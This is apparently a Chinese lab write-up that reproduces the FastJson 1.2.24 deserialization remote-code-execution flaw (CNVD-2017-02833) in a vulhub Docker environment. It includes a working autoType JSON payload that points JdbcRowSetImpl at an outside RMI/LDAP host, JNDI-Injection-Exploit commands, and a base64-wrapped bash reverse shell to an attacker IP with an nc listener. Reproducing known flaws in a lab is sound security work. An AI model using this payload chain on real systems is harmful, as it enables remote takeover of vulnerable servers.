Fastjson_1.2.24_unserialize_rce漏洞复现
fastjson_1.2.24_unserialize_rce
| 说明 | 内容 |
|---|---|
| 漏洞编号 | CNVD-2017-02833 |
| 漏洞名称 | FastJson <= 1.2.24 远程代码执行 |
| 漏洞评级 | 高危 |
| 影响范围 | 1.2.24 |
| 漏洞描述 | 通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查 |
| 修复方案 | 升级组件，打补丁，上设备 |
1.1 漏洞描述
FastJson是Alibaba的一款开源Json解析库，可用于将Java对象转换为其Json表示形式，也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头：17年FastJson爆出的1.2.24反序列化漏洞。
关于FastJson1.2.24反序列化漏洞，简单来说，就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。
fastjson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。
1.2 漏洞等级
高危
1.3 影响版本
1.2.24
1.4 漏洞复现
1.4.1 基础环境
| 组件 | 版本 |
|---|---|
| vulhub | /fastjson/1.2.24-rce |
| FastJson | 1.2.24 |
运行测试环境：
sudo docker-compose up -d
环境运行后，访问http://your-ip:8090即可看到JSON格式的输出
1.4.2 漏洞验证
获取数据包：
GET请求转成POST请求，并把表单类型改为json类型，发包测试数据：
{"name":"GHUI","age":23}
上图过程：
json -序列化-> object -反序列化-> json
1.4.3 漏洞检测
可以使用BurpSuite扩展fastjsonScan 进行漏洞检测
下载插件：
proxychains wget https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar
添加插件：
添加成功：
利用:
得到漏洞利用的poc:
{"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://p0q52dzlyyr7lwzrv7xvlzozmqsgg5.oastify.com/aaa","autoCommit":true}}
说明：
RMI全称为：Remote Method Invocation 远程方法调用，是java独立的一种机制。
RMI的作用就是在一个java虚拟机调用另一个java虚拟机上对象的方法在网络传输的过程中，RMI中对象是通过序列化的形式进行编码传输，既然有序列化，必然会有反序列化，RMI服务端在接收到序列化后的会将对象进行反序列化。
在反序列化攻击中，我们可能找不到反序列化的点，那么使用RMI就可以作为反序列化利用链的触发点
java远程加载恶意类 RMI
若不知道RMI,可以把RMI理解为类似于http协议远程加载一个类。
使用DNSlog ，查看是否有回显：
第一步：
第二步：
第三步：
第四步：将rmi换成ldap
检测结果：
检测到了，说明我们生成的rmi能够尝试在外部请求资源。
构造RMI服务器：
git config -l #拿到网址：https://github.com/welk1n/JNDI-Injection-Exploit.git
解释：
命令
git config -l用于列出Git版本控制系统的配置信息。通过运行该命令，您可以查看当前项目或全局的Git配置项及其对应的值。这些配置项包括用户名、邮箱、编辑器设置、远程仓库等。
打开网址，有使用说明：
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
1.4.4 漏洞验证
开启RMI服务器：
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/ghuii" -A "10.9.75.58"
复制rmi://10.9.75.58:1099/1hjdrq到bp中：
发包：
这里显示有请求。
看一下在tmp中是否创建了ghuii文件：
sudo docker ps -a
sudo docker exec -it 729 /bin/bash
ghuii文件创建成功
居然这里能够创建文件，那么是不是能上传一个反弹shell:
bash -i >& /dev/tcp/10.9.75.58/1234 0>&1
#base64编码：
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjU4LzEyMzQgMD4mMQ==
#将编码放入：
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjU4LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
或者直接构造
开启监听端口：
nc -lnvp 1234
然后把-C里面的数据换掉：
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjU4LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "10.9.75.58"
把ldap://10.9.75.58:1389/fuwphp 复制到bp：
发包：
成功监听到。
总结：
Fastjson_1.2.24存在反序列化漏洞。
注：做反弹shell时，需要本地构造一个一个服务器，让对方服务器到本地访问加载资源，然后执行恶意命令。